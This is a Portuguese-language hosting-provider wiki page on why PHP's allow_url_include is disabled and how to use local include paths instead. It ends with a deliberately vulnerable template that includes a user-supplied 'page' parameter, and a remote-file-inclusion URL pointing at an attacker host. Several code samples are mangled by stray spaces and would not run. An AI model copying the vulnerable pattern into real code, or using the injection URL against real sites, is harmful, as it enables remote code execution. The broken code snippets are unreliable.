Mudanças entre as edições de "Allow url include"

De Wiki Integrator do Brasil
Ir para: navegação, pesquisa
(Criou página com '=='''Visão Geral''' == A opção '''allow_url_include''' PHP normalmente permite que um programador inclua () um arquivo remoto (como código PHP) usando uma URL em vez de u...')

Edição das 19h02min de 27 de agosto de 2015

Índice

Visão Geral

A opção allow_url_include PHP normalmente permite que um programador inclua () um arquivo remoto (como código PHP) usando uma URL em vez de um caminho de arquivo local. Por razões de segurança, a Integrador tem desativado esta ferramenta. Se um script exige esse recurso, você deve olhar para software alternativo, pois o uso deste recurso indica sérias falhas de projeto.

Por que isso é ruim?

Há uma série de razões pelas quais URL include sempre devem ser evitadas:

  • É inseguro - pois sua aplicação pode ser enganada incluindo o conteúdo a partir de uma URL fora de si (e há uma série de maneiras comuns isso pode acontecer), um invasor pode forçar o aplicativo para iniciar a execução de código a partir de seu próprio site.
  • É ineficiente - se o seu script PHP inclui conteúdo a patir de uma URL, o servidor web deve fazer solicitações HTTP para gerar a página. Isso faz com que o carregamento da página fique muito mais lento do que o necessário, especialmente se o site que você está carregando conteúdo está respondendo lentamente.
  • É incerto, pelas mesmas razões - se o servidor web que você está carregando o conteúdo ocasionalmente não responder, o site também às vezes falha ao carregar corretamente.
  • Geralmente é desnecessária - na maioria dos casos, allow_url_include pode ser evitado, incluindo o conteúdo diretamente (se ele está sendo carregado a partir de um domínio que você hospedar) ou carregar e imprimir o conteúdo sem avaliá-lo como PHP.

Server-side includes

Muitos desenvolvedores de include de arquivos, apontam para uma URL remota, mesmo se o arquivo estiver no sistema local. Por exemplo:

<?php include(“http://example.com/includes/example_include.php"); ?>

Com allow_url_include deficiente, este método não funciona. Em vez disso, o arquivo deve ser incluído com um caminho local, e existem três métodos de se fazer isso:

  1. Ao usar um caminho relativo, como ../includes/example_include.php.
  2. Usando um caminho absoluto (também conhecido como relativo-da-raiz), tais como /home/username/example.com/includes/example_include.php.
  3. Ao usar o ambiente PHP variável $ _SERVER ['DOCUMENT_ROOT'], que retorna o caminho absoluto para o diretório raiz web. Esta é de longe a melhor solução (e mais portátil). O exemplo a seguir mostra a variável de ambiente em ação.

Exemplo Include

<?php include($ _ SERVER ['DOCUMENT_ROOT'] "/ includes / example_include.php".); ?>

Diferenças de processamento (e variáveis que passam para um arquivo include)

Vale ressaltar que as soluções alternativas apresentadas aqui resulta em uma diferença na forma como a include (função) é tratado. As soluções alternativas retornam o código PHP a partir da página incluída. No entanto, o método de URL remota agora indisponíveis-retorna o resultado a partir da página incluída. Um resultado desse comportamento é que você não pode passar uma seqüência de consulta usando as soluções alternativas. Define-se as variáveis localmente antes de realizar o include, como pode ser visto no exemplo a seguir.

Exemplo

Para conseguir o efeito do seguinte conteúdo:

<?php include(“http://example.com/includes/example_include.php?var=example"); ?>

você deverá usar da seguinte forma:

<?php
$var = "exemplo";
include(. $ _ SERVER ['DOCUMENT_ROOT'] "/ includes / example_include.php");
?>

Adicionando flexibilidade

Para uma flexibilidade máxima (quando múltiplos includes são necessários, por exemplo), pode ser mais fácil criar uma variável:

<?php
$doc_root = $ _SERVER ['DOCUMENT_ROOT'];
include("$ doc_root / inclui / example_include.php");
include("$ doc_root / inclui / example_include2.php");
include("$ doc_root / inclui / example_include3.php");
include("$ doc_root / inclui / example_include4.php");
?>

NOTA: A técnica funciona da mesma maneira, independentemente de se você estiver usando o include () ou require ().


Definir o include_path

Você também pode definir explicitamente a diretiva do PHP, "include_path", na mosca:

<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>

Exemplo de exploração

Um uso comum do server-side includes é criar algum tipo de modelo de site. Muitas vezes, uma única página com um cabeçalho e um rodapé é alimentado de diferentes conteúdo usando uma sequência de consulta. Aqui está um exemplo típico de script:

<?php
$page = ($_GET['page']) ? $_GET['page'] : "default.php";
?>
<html>
 <head>
  <title>This page is easy to exploit</title>
 </head>
 <body>
header...
<?php include($page); ?>
 footer...
 </body>
</html>

O conteúdo da página pode ser variado, anexando uma cadeia de consulta para o URL:

http://example.com/index.php?page=varied.php

Se allow_url_include está ativado, este sistema pode ser explorado simplesmente mudando o valor da variável na cadeia de consulta:

http://example.com/index.php?page=http://crackerscum.net/evilscript.txt?

Nota final

Apenas diga não. Ativar o allow_url_include é uma péssima idéia que expõe o seu site, e os sites de outros em seu servidor compartilhado, a riscos desnecessários.